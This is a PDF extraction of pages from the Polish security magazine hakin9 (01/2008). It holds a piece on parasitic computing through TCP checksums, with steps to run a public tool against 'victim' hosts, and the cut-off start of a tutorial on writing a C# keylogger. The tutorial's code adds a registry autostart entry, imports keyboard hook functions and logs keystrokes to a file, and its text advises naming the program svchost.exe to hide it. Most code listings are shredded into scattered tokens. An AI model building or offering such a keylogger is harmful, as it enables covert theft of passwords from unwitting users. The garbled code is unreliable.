operację obliczenia sumy kontrolnej
odbiorca wykonuje na otrzymanym
pakiecie. Jeśli suma kontrolna zapi-
sana w pakiecie zgadza się z sumą
obliczoną dla tego pakietu, oznacza
to, że dane są poprawne i mogą być
przekazane do wyższych warstw
protokołów modelu OSI. Jeśli wy-
stąpiła niezgodność, pakiet uznawa-
ny jest za uszkodzony, a warstwa TCP
usuwa go i nie wysyła do odbiorcy
potwierdzenia otrzymania danych.

Interesującą nas właściwością

tego mechanizmu jest fakt, że suma
kontrolna TCP wyliczana jest przy
wykorzystaniu operacji wystarcza-
jących do wykonania każdej ope-
racji mieszczącej się w zakresie al-
gebry Boole'a. Istnieje zatem możli-
wość wykorzystania go jako bram-
ki logicznej. To z kolei otwiera drzwi
do wykonywania operacji arytme-
tycznych.

Implementacja układu obliczeń

pasożytniczych wykorzystujących
protokół TCP polega na zbudowa-
niu pakietu ze specjalnie sprepa-
rowaną sumą kontrolną. Kompu-

ter ofiary w procesie przetwarza-
nia żądania i generowania odpowie-
dzi automatycznie wykona zlecone
obliczenie – podczas wykonywania
algorytmu sprawdzania sumy kon-
trolnej. Zakres działania omawia-
nych mechanizmów wystarcza do
zbudowania pasożytniczego układu
obliczeniowego.

Informatyka

pasożytnicza

W obliczu omówionego potencjału
związanego z możliwością korzy-
stania z zasobów obliczeniowych
komputerów w Internecie pojawia
się pytanie: do czego można taki
mechanizm zastosować?

W roku 2001 czterech naukow-

ców – Albert Laszlo Barabasi, Vin-
cent W. Freeh, Hawoong Jeong
oraz Jay B. Brockman – zapropo-
nowało mechanizm rozwiązywa-
nia problemu klasy NP (non-poly-
nomial) przy wykorzystaniu obli-
czeń pasożytniczych. Ich publika-
cja wzbudziła spore zainteresowa-
nie, jako że na trudności rozwiązy-
wania problemów tej klasy opiera
się całe bezpieczeństwo współcze-
snych mechanizmów kryptograficz-
nych. Gdyby znaleziony został spo-
sób na rozwiązywanie problemów
NP w rozsądnym czasie, większość
znanych technik kryptograficznych
stałaby się bezużyteczna.

Aby rozwiązywać problemy

matematyczne przy wykorzystaniu
sumy kontrolnej TCP, konieczna je-
stodpowiednia reprezentacja proble-
mu. Dla problemów NP stosowna
w tym przypadku jest reprezen-

Listing 1.

Program dla pasożytniczej maszyny wirtualnej napisany w mikroassemblerze 4IA (plik sub.4ia)

ARCH

;

Definicja

architektury

Rejestry

ugo

bit

liczba

rejestr

–

SET

0xFF

;

rejestru

adujemy

warto

ść

SET

;

rejestru

adujemy

dzie

ilo

ść

iteracji

tli

SET

100

;

Rejestr

przechowa

warto

ść,

rej

dziemy

odejmowa

SET

;

rejestru

instrukcji

adujemy

numer

rego

zacznie

tla

ADD

;

Wykonujemy

operacj

odejmowania

rejestrze

(

100

(

))

SET

;

Reset

flagi

przepe

nienia

ADD

;

Zmniejszamy

licznik

tli

ADD

;

flaga

przepe

nienia

skaczemy

instrukcji

SET

;

Koniec

tli

skok

linii

SET

;

tla

trwa

skok

linii

HLT

;

Koniec

dzia

ania

programu

hakin9 Nr 01/2008

www.hakin9.org

Atak

tacja problemu jako Boole'owskie
równanie spełnialności. Równania
takie określa się jako SAT. Równa-
nia spełnialności SAT pozwalają
na zapis problemu przy wykorzy-
staniu operatorów logiki Boole'a.
Jako przykład równania SAT może
posłużyć następująca konstrukcja:

P=(x1 XOR x2) AND (~x2 AND x3)

oznacza tu problem, natomiast

oraz

są parametrami. W pre-

zentowanym przykładzie istnieje 23
potencjalnych rozwiązań, ale rów-
nanie będzie spełnione tylko dla jed-
nego z nich – w tym przypadku

x1=1

x2=0

x3=1

. Rozwiązywanie proble-

mów SAT polega na odnalezieniu
takiej wartości wszystkich parame-
trów, aby całe równanie mogło być
spełnione. Zaprezentowany przy-
kład równania SAT jest trywialny
i może być rozwiązany bardzo łatwo.
W przypadku bardziej złożonych rów-
nań zawierających więcej parame-
trów problem staje się NP-zupełny.

Z uwagi na swoją specyfikę, rów-

nanie SAT może zostać zapisane
jako sekwencja bitów, która zosta-
je następnie uformowana w pakiet
TCP i wysłana do ofiary jako ele-
ment problemu do policzenia.

Scenariusz pasożytniczego kom-

putera zilustrowany został na Ry-
sunkach 1 oraz 2. W pierwszym
kroku komputer-pasożyt, nadzo-
rujący proces wykonywania obli-
czeń, przygotowuje 2n specjalnie
skonstruowanych pakietów zawie-
rających wszystkie możliwe kom-
binacje parametrów równania SAT.
Następnie wysyła spreparowane
pakiety TCP do pewnej liczby ma-
szyn-ofiar. Maszyny te wyposażo-
ne są w jednostki arytmetyczno-
logiczne, umożliwiające wykony-
wanie obliczeń oraz w interfejsy
sieciowe umożliwiające zdalne po-
łączenia (warunki te spełnia każ-
dy komputer podłączony do Inter-
netu). Pakiety zawierające błęd-
ne rozwiązania nie posiadają
prawidłowej sumy kontrolnej i zosta-
ją odrzucone (ilustruje to strzałka
z opisująca błędne rozwiązanie).
W przypadku, gdy rozwiązanie
problemu jest poprawne, oblicze-
nie sumy kontrolnej zakończy się
sukcesem, a pakiet trafi w górę
stosu protokołów.

Ponieważ protokół HTTP za-

kłada generowanie odpowiedzi na
wszystkie, nawet niepoprawne, żą-
dania, zostanie ona wysłana, gdy
tylko pakiet dotrze do warstwy apli-

kacji. Dzięki temu można rozpo-
znać, który zestaw parametrów
jest poprawnym rozwiązaniem pro-
blemu SAT.

Po wysłaniu wszystkich pakie-

tów do milionów komputerów w In-
ternecie odpowiedziałyby tylko te,
które otrzymały pakiety zawiera-
jące parametry równania SAT bę-
dące prawidłowym rozwiązaniem.
Reszta pakietów zostałaby po pro-
stu odrzucona. Możliwe jest zatem
odnalezienie rozwiązania bez wy-
konywania obliczeń na lokalnym
komputerze.

Barabasi, Freeh, Jeong oraz

Brockman przeprowadzili udaną pró-
bę rozwiązania równania SAT przy
wykorzystaniu omawianej techni-
ki. Udowodnili tym samym tezę, że
możliwe jest zmuszanie kompute-
rów w Internecie do wykonywania
konkretnych obliczeń bez koniecz-
ności naruszania ich infrastruktury
i instalowania na nich dodatkowego
oprogramowania. Dodatkowo spo-
re problemy stwarza zabezpiecze-
nie się przed tego typu technikami.
Ponieważ wykorzystywane są stan-
dardowe mechanizmy zapewniające
funkcjonowanie komputera w sieci,
uniemożliwienie takich obliczeń jest
praktycznie nierealne.

Obliczenia pasożytnicze

w praktyce

Czy opisane techniki wystarcza-
ją do praktycznego zastosowania
obliczeń pasożytniczych w posta-
ci skonstruowania gigantycznego
superkomputera i zagrożenia tech-
nikom kryptograficznym? Okazuje się,
że nie do końca. Omawiane podej-
ście prezentuje jak najbardziej god-
ny uwagi, wręcz rewolucyjny sposób
spojrzenia na możliwości prowadze-
nia obliczeń rozproszonych, ale spra-
wa komplikuje się po rozważeniu kilku
dodatkowych czynników.

Listing 3.

Polecenie sh do wylistowania hosta

sh
Hostname Address Packets Timeouts Enabled Falsepos.
-------------------- --------------- ------- -------- ------- -----------
192.168.0.2 192.168.0.2 0 0 yes untested
192.168.0.3 192.168.0.3 0 0 yes untested

Listing 2.

Stan rejestrów pasożytniczej maszyny wirtualnej po

zakończeniu wykonywania zadania obliczeniowego

Register Decimal Hex Comment
-------- ------- ------- ---------------------------
r0000000 10 0x000a Instruction pointer (ip)
r0000001 0 0x0000 Flag register (fl)
r0000002 255 0x00ff XIA error register
r0000003 255 0x00ff XIA carry register
r0000004 0 0x0000
r0000005 0 0x0000
r0000006 0 0x0000
r0000007 0 0x0000
r0000008 0 0x0000
r0000009 95 0x005f
r0000010 0 0x0000

Techniki obliczeń pasożytniczych

hakin9 Nr 01/2008

www.hakin9.org

Pierwszy problem rodzi mecha-

nizm identyfikowania prawidłowych
rozwiązań. W przypadku niepo-
prawnego obliczenia sumy kontro-
lnej pakietu przez komputer-ofia-
rę, TCP usuwa pakiet i nie generuje
żadnej odpowiedzi. W efekcie trud-
ne jest ustalenie, czy nie otrzymali-
śmy odpowiedzi wskutek faktycznie
niepoprawnej sumy kontrolnej, czy
też na przykład w wyniku zmiany
polityki firewalla lub po prostu odłą-
czenia komputera-ofiary od sieci.

Drugim aspektem trudności wy-

korzystania informatyki pasożytni-
czej w obecnej postaci jest fakt du-
żego zapotrzebowania na pasmo
potrzebne do rozesłania wielkiej ilo-
ści pakietów SAT. Samo przygoto-
wanie takich pakietów również wy-
maga sporej mocy obliczeniowej.
Czynniki te powodują, że na dzień
dzisiejszy opisywane podejście nie
jest wystarczająco wydajne, aby
mogło służyć budowie i praktycz-
nemu wykorzystaniu gigantyczne-
go klastra zbudowanego z milionów
komputerów znajdujących się w In-
ternecie.

Przykładowa

aplikacja pasożytnicza

Dobrym przykładem aplikacji reali-
zującej obliczenia pasożytnicze przy
wykorzystaniu omawianej metodolo-

gii jest stworzona przez Jürga Reus-
sera oraz Luziana Scherrera maszy-
na wirtualna. Oprogramowanie to
jest publicznie dostępne pod adre-
sem http://szene.ch/parasit/. Oma-
wiana maszyna jest w pełni progra-
mowalna i zdolna rozwiązać dowol-
ny znany problem matematyczny.

W celu zainstalowania oprogra-

mowania pasożytniczej maszyny wir-
tualnej, należy pobrać kod źródłowy.
Dostępny jest on pod adresem http://
szene.ch/parasit/code/parasitic_
computing.tar.gz Niniejszy artykuł za-
wiera opis wykorzystania omawianej
aplikacji w systemie Linux. Po pobra-
niu archiwum należy je rozpakować.
Można to zrobić poleceniem:

tar -zxf parasitic_computing.tar.gz

Następnie przechodzimy do instalacji:

make
make install

Aplikacja instaluje się domyślnie
w katalogu

/usr/local

, a więc wa-

riant ten wymaga uprawnień do zapi-
suw tym katalogu. Aby zmienić doce-
lowy katalog, należy zmienić wartość
zmiennej PREFIX w pliku Makefile.

Do korzystania z programu ko-

nieczne jest zrozumienie podstaw
jego działania. Maszyna wirtualna

wyposażona została w zestaw reje-
strów, które wykorzystywane są do
wykonywania zadań. Rejestry po-
siadają oznaczenia

gdzie

okre-

śla numer rejestru. Wyróżnić można
tu trzy typy rejestrów:

• r0 – rejestr instrukcji. Przeznaczo-

ny do przechowywania numeru
aktualnie wykonywanej instrukcji.
Manipulacja jego zawartością po-
zwala na sterowanie przebiegiem
zadania,

• r1 – rejestr flagi. Pozwala na wy-

krywanie warunku zakończenia
działania pętli. Przyjmuje wartość

, gdy w którymś z rejestrów ogól-

nego przeznaczenia dojdzie do
przepełnienia wywołanego dzia-
łaniem instrukcji ADD (instrukcje
omówione zostały poniżej),

• r2...rn – rejestry ogólnego prze-

znaczenia. Można przechowy-
wać w nich wartości oraz wyko-
nywać operacje arytmetyczne.

Autorzy aplikacji stworzyli zestaw in-
strukcji pozwalający na definiowanie
zadań obliczeniowych realizowanych
na zdalnych maszynach. Język ten
bazuje na klasycznym assemblerze.
Określony został jako

4IA

, co ozna-

cza czteroinstrukcyjny assembler
(4 Instruktionen Assembler). Zgod-
nie z nazwą, posiada on cztery pod-
stawowe instrukcje:

• HLT – instrukcja przerywa wyko-

nanie zadania obliczeniowego,

• SET dst, const – instrukcja

umieszcza wartość const w reje-
strze określonym na pozycji dst,

• MOV dst, src – instrukcja ta ko-

piuje wartość rejestru src do reje-
stru określonego jako dst,

• ADD dst, src – instrukcja ADD po-

zwala na dodanie wartości prze-
chowywanej w rejestrze src do
wartości rejestru dst. Wynik zapisa-

Problemy wielomianowe

Problemy wielomianowe to takie zadania, dla których na maszynie Turinga możliwe
jest wygenerowanie rozwiązania w czasie wielomianowo proporcjonalnym do długo-
ści danych wejściowych. Czas potrzebny do rozwiązania takiego problemu jest bezpo-
średnio zależny od długości danych wejściowych podniesionych do stałej potęgi. Dla
problemów klasy NP (niewielomianowych) nie ma takich rozwiązań. Dla tej klasy pro-
blemów niewielki wzrost długości danych wejściowych wywołuje znaczne wydłużenie
czasu rozwiązywania problemu (czas może rosnąć wykładniczo).

Dla problemów NP-zupełnych będących podzbiorem problemów klasy NP udo-

wodniono brak rozwiązań w czasie proporcjonalnym do wielomianowego.

W przypadku nietrywialnych danych wejściowych problemy NP są trudne w roz-

wiązywaniu.

Listing 4.

Ilość pakietów pasożytniczych

sh
Hostname Address Packets Timeouts Enabled Falsepos.
-------------------- --------------- ------- -------- ------- -----------
192.168.0.2 192.168.0.2 817 0 yes untested
192.168.0.3 192.168.0.3 809 0 yes untested

hakin9 Nr 01/2008

www.hakin9.org

Atak

ny zostaje w rejestrze dst. Jeśli doj-
dzie do przepełnienia zakresu reje-
stru, ustawiona zostaje flaga

Zestaw powyższych instrukcji wystar-
cza do realizacji każdej operacji aryt-
metycznej. Jako przykład zrealizowa-
na zostanie prosta operacja odejmo-
wania. Trywialny problem

100 - 5

zde-

finiować można w następujący sposób:
Tak przygotowany program gotowy jest
do uruchomienia na pasożytniczej ma-
szynie. Sama maszyna uruchamiana
jest przy wykorzystaniu polecenia:

/usr/local/bin/pshell

Najpierw należy przygotować plik
z adresami IP komputerów, które
wykorzystane zostaną jako ofia-
ry. Adresy rozdzielane są znakami
nowej linii. Po przygotowaniu pliku
i uruchomieniu

pshell

, należy go

załadować:

lh /sciezka/do/pliku/adresow_IP

Przykład:

lh /home/parasite/hosts
Hostlist loaded

Hosty wylistować można przy wyko-
rzystaniu polecenia

: W celu wyko-

nania napisanego zadania posłużyć
należy się następującym poleceniem:

xp /home/parasite/sub.4ia

Jeśli wszystko zakończy się po-
wodzeniem (hosty – ofiary po-

winny być włączone), otrzymamy
komunikat:

Execution successfully terminated.

Wyniki (stan rejestrów) obejrzeć
można przy wykorzystaniu polece-
nia

. Rejestr

przechowuje zgod-

ną z oczekiwaniami wartość

100 – 5

= 95

. Obliczenia powiodły się.

Teraz zobaczyć można także, ile

pasożytniczych pakietów wysłanych
zostało do poszczególnych kompute-
rów. Szczegółowe statystyki obejrzeć
można po wydaniu polecenia

Przykłady bardziej skompliko-

wanych zadań dostarczone są wraz
z maszyną wirtualną i po instalacji
znaleźć je można w katalogu

/usr/

local/share/parasit/4ia/

Strukturę wysyłanych pakietów

można obejrzeć na maszynach-
ofiarach przy wykorzystaniu dowol-
nego sniffera sieciowego (najlepiej
Wireshark). Obserwować należy
pakiety ICMP przesyłane między
ofiarą i pasożytem, ponieważ pa-
sożytniczy mechanizm obliczeń zo-
stał zaimplementowany przy wyko-
rzystaniu właśnie tego protokołu.

Aspekty legalności

Mimo, że informatyka pasożytni-
cza nie narusza integralności sys-
temów wykonujących zlecone ob-
liczenia, może powodować opóź-
nienia ich działania. Duże ilości
pakietów przesyłane do interfejsów
sieciowych powodują efekty po-
dobne do ataku typu Denial of Se-
rvice. Z tego powodu powstaje sze-
reg pytań natury etyczno-prawnej

dotyczących wykorzystywania mo-
cy obliczeniowej maszyn znajdują-
cych się w Internecie bez pozwo-
lenia ich właścicieli. Wszystko to
skłania do refleksji na temat okre-
ślenia granic własności zasobów
Internetu.

Podsumowanie

Podsumowując, da się zauważyć,
że informatyka pasożytnicza za-
ciera granice pomiędzy komunika-
cją a obliczeniami w sieci. Udowod-
niono, że możliwe jest wymusze-
nie użytecznych obliczeń na zdal-
nych komputerach przy wykorzy-
staniu samej infrastruktury obec-
nego Internetu. Mimo, iż w prakty-
ce zastosowanie obliczeń pasożyt-
niczych w ich obecnej formie jest
mocno ograniczone, otwiera drogę
do kolejnych eksperymentów i zna-
cząco wpływa na aspekty spojrze-
nia na Internet. l

Rysunek 1.

Prototyp

pasożytniczego komputera

Pasożyt

Ofiara

HTTP

TCP

Sieć

Interfejs fizyczny

Poprawne rozwiązanie

Błędne rozwiązanie – brak odpowiedzi

Pakiet odrzucony z powodu

błędnej sumy kontrolnej

Rysunek 2.

Działania mechanizmu

obliczeń pasożytniczych

Pasożyt

niepoprawna

suma kontrolna

(brak odpowiedzi)

niepoprawna

suma kontrolna

(brak odpowiedzi)

Ofiara

Poprawna

suma

kontrolna

(odpowiedź)

Znaleziono

poprawne

rozwiązanie!

O autorze

Aktualnie jest studentem drugiego roku SUM Informatyki na Akademii Górniczo-Hutni-
czej w Krakowie. Do jego głównych zainteresowań należy programowanie, administra-
cja systemów komputerowych oraz aspekty bezpieczeństwa informatycznego.
Kontakt z autorem: michal.stys@gmail.com

W Sieci

• http://www.nd.edu/~parasite/ – strona twórców idei informatyki pasożytniczej wyko-

rzystującej mechanizmy protokołów internetowych,

• http://szene.ch/parasit/ – strona z implementacjami oprogramowania wykorzystu-

jącego techniki obliczeń pasożytniczych.

www.hakin9.org

hakin9 Nr 01/2008

Atak

isząc o podsłuchiwaniu hasła, nie ma-
my oczywiście na myśli przypadku pod-
słuchiwania mówiącego sobie pod no-

sem użytkownika, który właśnie wprowadza swo-
je hasło. Chodzi nam o program, który bez wiedzy
użytkownika będzie zapisywał wszystkie naciśnię-
te klawisze. Będzie go mógł napisać nawet śred-
nio zaawansowany programista, znający system
Windows. Widać zatem, że jest to realne zagro-
żenie. Przyjrzyjmy się teraz, jak system Windows
opiekuje się uruchamianymi programami. Działa-
nie aplikacji okienkowych polega przede wszyst-
kim na reagowaniu na zdarzenia. Zdarzenia to
nic innego jak wyniki interakcji użytkownika z apli-
kacją. Jest to więc klikanie, przyciskanie, upusz-
czanie, przeciąganie oraz inne akcje, które moż-
na wykonać w aplikacji. Pisząc jakiś program pod
Windows w środowiskach RAD (ang. Rapid Ap-
plication Development), musimy stworzyć me-
tody zdarzeniowe związane z konkretnymi zda-
rzeniami dla kontrolek aplikacji. W zależności od
języka programowania – bądź platformy urucho-
mieniowej – mamy do dyspozycji różne mechani-
zmy reakcji na zdarzenia w aplikacji. Dla platformy
.NET będą to delegacje, w C++ Bulider – wskaź-
niki na funkcje, a dla Javy specjalne obiekty nasłu-
chujące. Skąd jednak aplikacja wie, że jej przycisk

został kliknięty? Taką informację dostaje od sys-
temu Windows. Utrzymuje on dla każdego uru-
chomionego programu kolejkę, która przechowu-
je zdarzenia. Zdarzeniem, które nas najbardziej
w tym momencie interesuje, jest naciśnięcie kla-
wisza na klawiaturze. Aby je przechwycić, musi-
my monitorować komunikaty wysyłane do urucho-
mionych w systemie aplikacji. Nie jest to zadanie
specjalnie skomplikowane (nie musimy modyfiko-
wać np. jądra), ponieważ system Windows udo-
stępnia mechanizm haków (ang. hooks). Został on
już opisany przez Jacka Matulewskiego w nume-

C#.NET –

podsłuchiwanie klawiatury

Sławomir Orłowski, Maciej Pakulski

stopień trudności

Skomplikowane i często aktualizowane hasło, które oprócz liter

zawiera również cyfry i znaki specjalne, to bardzo dobry sposób

obrony przed nieautoryzowanym dostępem. Pod warunkiem, że

nie jesteśmy podsłuchiwani w trakcie jego wprowadzania.

Z artykułu dowiesz się

• jak działają haki w systemie Windows,
• jak dodawać wpisy do rejestru systemowego,
• jak z poziomu kodu C# podsłuchiwać kla-

wiaturę.

Co powinieneś wiedzieć

• podstawy programowania zorientowanego

obiektowo,

• podstawy działania systemu Windows,
• podstawowa znajomość sieci komputerowych.

C#.NET – podsłuchiwanie klawiatury

hakin9 Nr 01/2008

www.hakin9.org

rze 4/2007, jednak pod nieco innym ką-
tem. My zajmiemy się użyciem haków
w kodzie C#. Będziemy zmuszeni do
skorzystania z funkcji

WinAPI

oraz me-

tod specyficznych dla Windows, co jest
pogwałceniem idei platformy urucho-
mieniowej.

Dodawanie

wpisów do autostartu

Idea platformy uruchomieniowej po-
lega na przenaszalności programu
na poziomie kodu i aplikacji pomię-
dzy systemami operacyjnymi. Jed-
nak Linux nie posiada czegoś takie-
go, jak rejestr. W związku z tym nasz
program, pomimo tego, że jest pisany
dla platformy .NET, będzie działał po-
prawnie jedynie dla systemu operacyj-
nego Windows. Inną kwestią pozosta-
je, czy firmie Microsoft naprawdę zale-
ży na przenaszalności kodu pomiędzy
systemami innymi niż Windows. Za-
nim rozpoczniemy tworzenie haków,
napiszemy metodę, która będzie do-
dawała wpisy do autostartu. Pozwoli to
uruchomić nasz program przy każdym
starcie systemu. Ponieważ, jak napi-
sałem wcześniej, rejestr systemowy
jest specyficzny dla Windows, twór-
cy .NET postanowili wszystkie kla-
sy z nim związane umieścić w prze-
strzeni nazw Microsoft, a nie System.
Dane dotyczące automatycznie uru-
chamianych programów przechowuje
klucz Software\Microsoft\Windows\
CurrentVersion\Run rejestru syste-
mowego. Jeżeli zapiszemy ścieżkę
z plikiem .exe w kluczu HKEY_CUR-
RENT_USER, nasza aplikacja bę-
dzie uruchamiana po wlogowaniu się
aktualnie zalogowanego użytkowni-
ka. Jeżeli zapiszemy ją w HKEY_LO-
CAL_MACHINE, program uruchamia-
ny będzie po wlogowaniu się dowolne-
go użytkownika. W naszej wersji niech
będzie to aktualny użytkownik. Musi-
my dodać jeszcze w sekcji using prze-
strzeń nazw Microsoft.Win32. Metoda
realizująca nasze zadanie przedsta-
wiona jest na Listingu 1.

Na początku metody znajduje się

deklaracja typów wyliczeniowych, któ-
re przydadzą nam się do określenia ro-
dzaju operacji, jaką chcemy wykonać
(typ

asOperation

) oraz do określenia,

czy się ona udała (

asValue

). Ponieważ

C# jest językiem silnie obiektowym, to
wspomniane typy wyliczeniowe musi-
my zadeklarować jako pola klasy re-
prezentującej nasz program. Parame-

try, jakie przyjmuje nasza metoda, to
nazwa klucza (zmienna

name

), ścieżka

dostępu i nazwa pliku wykonywalnego,
który chcemy uruchomić (zmienna

exe

)

Listing 1.

Metoda sprawdzająca, dodająca lub usuwająca wpis w

autostarcie systemu

Windows

enum

asOperation

{

asCheck

asWrite

asDelete

}

;

enum

asValue

{

yes

error

}

;

private

static

asValue

InsertInAutostart

(

string

name

string

exe

asOperation

operation

)

{

const

string

key

"Software

Microsoft

Windows

CurrentVersion

Run"

;

try

{

RegistryKey

Registry

CurrentUser

OpenSubKey

(

key

true

);

switch

(

operation

)

{

case

asOperation

asCheck

(

GetValue

(

name

)

null

)

return

asValue

yes

;

else

return

asValue

;

case

asOperation

asWrite

SetValue

(

name

exe

);

();

return

asValue

yes

;

case

asOperation

asDelete

DeleteValue

(

name

);

();

return

asValue

yes

;

}

return

asValue

;

}

catch

{

return

asValue

error

;

}

Listing 2.

Import funkcji WinAPI

[

DllImport

(

"user32.dll"

)]

private

static

extern

IntPtr

CallNextHookEx

(

IntPtr

hhk

int

nCode

IntPtr

wParam

IntPtr

lParam

);

[

DllImport

(

"user32.dll"

)]

private

static

extern

int

ToAscii

(

uint

uVirtKey

uint

uScanCode

byte

[]

lpKeyState

ref

char

lpChar

uint

flags

);

[

DllImport

(

"user32.dll"

)]

private

static

extern

bool

GetKeyboardState

(

byte

[]

data

);

[

DllImport

(

"user32.dll"

)]

static

extern

short

GetKeyState

(

int

nVirtKey

);

Listing 3.

Pola klasy TestDll

private

static

char

caughtChar

;

private

static

string

path

"C:

plik.txt"

;

private

const

byte

VK_SHIFT

0x10

;

private

const

byte

VK_CAPITAL

0x14

;

private

static

bool

CapsLockDown

;

private

static

bool

ShiftDown

;

private

const

uint

WM_KEYDOWN

0x0100

;

hakin9 Nr 01/2008

www.hakin9.org

Atak

oraz rodzaj operacji, jaką chcemy wy-
konać (stworzony przez nas typ wyli-
czeniowy

asOperation

). Aby stworzyć

obiekt reprezentujący klucz rejestru,
używamy metody

OpenSubKey

. W zależ-

ności od tego, czy jest to metoda wła-
sności

CurrentUser

, czy

LocalMachine

wpis stworzony będzie odpowied-
nio w HKEY_CURRENT_USER lub
w HKEY_LOCAL_MACHINE. Do
sprawdzenia wartości klucza służy
metoda

GetValue

. Do zapisu klucza

używamy metody

SetValue

, a do jego

usunięcia –

DeleteValue

. Każda z tych

|metod może generować wyjątek, do-
datkowo sam proces tworzenia obiektu
klasy

RegistryKey

może spowodować

zgłoszenie wyjątku – w związku z tym
całość umieszczamy w bloku ochron-
nym try-catch. Wyjątki mogą być spo-
wodowane brakiem dostępu do rejestru
lub konkretnego klucza. Wywołanie tej
metody najlepiej umieścić w kodzie wy-
konywanym w trakcie uruchamiania
programu. Może to być konstruktor for-
my bądź zdarzenie

Load

– w przypad-

ku aplikacji Windows Forms. Możemy
wtedy sprawdzić, czy istnieje w reje-
strze odpowiedni klucz i w przypadku
jego braku – utworzyć go.

Umiemy już umieszczać naszą

aplikację w autostarcie. Jednak po
uruchomieniu będzie nadal widoczna
w oknie menadżera zadań. W syste-

mach Windows począwszy od 2000
nie ma, na szczęście, łatwego sposo-
bu, aby usunąć nazwę procesu z me-
nadżera zadań. Ale możemy udawać
proces systemowy. Wystarczy na-
zwać nasz program np. svchost.exe.
Ta prosta sztuczka zadziała w więk-
szości przypadków. Można jeszcze
uruchomić program w trybie usługi.

Windows hooks

Jak wspomnieliśmy na początku, dzia-
łanie systemu Windows opiera się na
przekazywaniu komunikatów (ang.
Windows messages). Haki pozwala-
ją nam na zainstalowanie specjalnych
funkcji monitorujących, których zada-
niem jest przetwarzanie komunikatów
Windows, nim dotrą do konkretnej apli-
kacji. Do dyspozycji mamy kilka typów
haków i dla każdego takiego typu sys-
tem tworzy tzw. łańcuch funkcji moni-
torujących. W momencie zajścia zda-
rzenia związanego z określonym ty-
pem haków komunikat Windows kiero-
wany jest najpierw do funkcji monitoru-
jących znajdujących się w określonym
łańcuchu. Typ haka determinuje czyn-
ności, które funkcja monitorująca mo-
że przeprowadzić na przechwyconym
komunikacie. Niektóre typy pozwala-
ją tylko na odczyt danych z komuni-
katu. Istnieją również takie, dzięki któ-
rym komunikat może być zmodyfiko-

wany a także może nie dotrzeć do wy-
branej aplikacji. Funkcje monitorujące
mogą mieć zasięg lokalny bądź glo-
balny (zwany również systemowym).
Zasięg lokalny daje funkcji monitorują-
cej możliwość przechwycenia komuni-
katów zdarzeń, które zaszły tylko we-
wnątrz wątku, w którym funkcja zosta-
ła zainstalowana. Wątek można koja-
rzyć z konkretnym programem. Zasięg
globalny pozwala na odbieranie komu-
nikatów zdarzeń, które zaszły w każ-
dym wątku działającym w systemie.
Jednakże, jeżeli funkcja monitorująca
ma mieć zasięg globalny, jej kod musi
być umieszczony w bibliotece łączonej
dynamicznie (DLL).

Program podsłuchujący klawia-

turę będzie się składał z dwóch pro-
jektów. Pierwszy będzie zawierać bi-
bliotekę DLL, ponieważ chcemy prze-
chwytywać komunikaty wygenero-
wane dla każdej aplikacji działającej
w systemie. Drugi projekt będzie od-
powiedzialny za zainstalowanie funk-
cji monitorującej. Funkcja monitorują-
ca będzie składową pisanej przez nas
klasy, więc powinniśmy używać raczej
określenia metoda. My jednak pozo-
staniemy przy terminie funkcja monito-
rująca, aby podkreślić jej pochodzenie
z biblioteki systemowej. Używając je-
dynie platformy .NET nie mamy moż-
liwości wykorzystania obiektów, któ-
re pozwalałyby nam na korzystanie
z haków. Jest to naturalna konsekwen-
cja związana z przenaszalnością ko-
du. Będziemy musieli więc wykorzy-
stać niektóre funkcje

WinAPI

z bibliotek

DLL systemu Windows. Do importu
funkcji z bibliotek DLL służy polecenie

DllImport

. Aby wygodnie go używać,

do projektu w sekcji

using

należy do-

dać przestrzeń nazw

System.Runtime.

InteropServices

. Polecenie

DllImport

ma następującą składnię:

[DllImport(nazwa_pliku_DLL)]
Modyfikator _ dostępu static extern
typ _ zwracany NazwaFunkcji(
parametry};

Parametry są opcjonalne, ponieważ
istnieje wiele funkcji, które nie przyj-
mują żadnych parametrów. Warto
dodać, iż importując funkcje WinAPI
możemy napotkać problem z wybo-

Listing 4.

Metoda zapisująca przechwycone klawisze do pliku

tekstowego

private

static

void

SaveChar

(

char

theChar

string

where

)

{

(

File

Exists

(

where

))

{

using

(

StreamWriter

File

AppendText

(

where

))

{

Write

(

theChar

);

// nowa linia

(

theChar

)

Write

(

);

}

else

{

using

(

StreamWriter

File

CreateText

(

where

))

{

Write

(

theChar

);

(

theChar

)

Write

(

);

}

C#.NET – podsłuchiwanie klawiatury

hakin9 Nr 01/2008

www.hakin9.org

rem odpowiedniego typu dla wskaź-
ników i uchwytów. Dla platformy .NET
są one reprezentowane przez struk-
turę

IntPtr

Tworzymy bibliotekę

łączoną dynamicznie

W części tej stworzymy bibliotekę DLL,
która będzie zawierać funkcję monito-
rującą. Właśnie tę bibliotekę będzie-
my wstrzykiwać w strumień komunika-
tów systemu Windows. Do przygoto-
wania programu użyjemy darmowego
środowiska Visual C# 2005 Express
Edition. Można je pobrać ze stron fir-
my Microsoft. Odpowiedni link znajdu-
je się w ramce W Sieci. Uruchamiamy
Visual C# 2005 i wybieramy File –>
New Project –> Class Library i nada-
jemy naszemu projektowi nazwę Test-
Dll. Jak zawsze, środowisko Visual C#
2005 Expres Edition generuje pewien
szablon kodu. Dodamy teraz do utwo-
rzonego szkieletu klasy odpowiednie
metody i pola. Zaczniemy od zaimpor-
towania czterech funkcji WinAPI, które
pochodzić będą z biblioteki user32.dll
(Listing 2).

Pierwsza funkcja to

CallNext-

HookEx

. Ma ona za zadanie przekazać

komunikat otrzymany przez funkcję
monitorującą do kolejnej funkcji moni-
torującej. Jej pierwszym parametrem
jest uchwyt do aktualnie zainstalowa-
nej funkcji monitorującej. Pozostałe
parametry zostaną omówione, gdy
zdefiniujemy funkcję monitorującą.
Wartość zwracana przez funkcję jest
różna w zależności od typu haka. Ko-
lejne z importowanych funkcji umoż-
liwiają odczytanie znaku wciśniętego
klawisza klawiatury z odebranego ko-
munikatu. Funkcja

ToAscii

służy do

zamiany kodu wirtualnego klawisza
na odpowiedni znak w kodzie ASCII.
Jej parametry to:

•

uVirtKey

– wirtualny kod klawisza,

•

uScanCode

– tzw. hardware scan

code. Najbardziej znaczący bit
tego parametru jest ustawiony,
jeżeli klawisz nie jest wciśnięty,

•

lpKeyState

– 256-elementowa ta-

blica, która zawiera aktualny stan
klawiatury. Każdy element tablicy
przechowuje status jednego kla-
wisza,

•

lpChar

– parametr, w którym zo-

stanie zapisany znak w kodzie
ASCII,

•

flags

– flagi dotyczące menu.

Jeżeli funkcja zadziała poprawnie,
wówczas zwracana jest wartość nie-
zerowa. Do określania aktualnego
stanu klawiatury służy kolejna funk-
cja o nazwie

GetKeyboardState

. Para-

metrem funkcji jest 256-elementowa
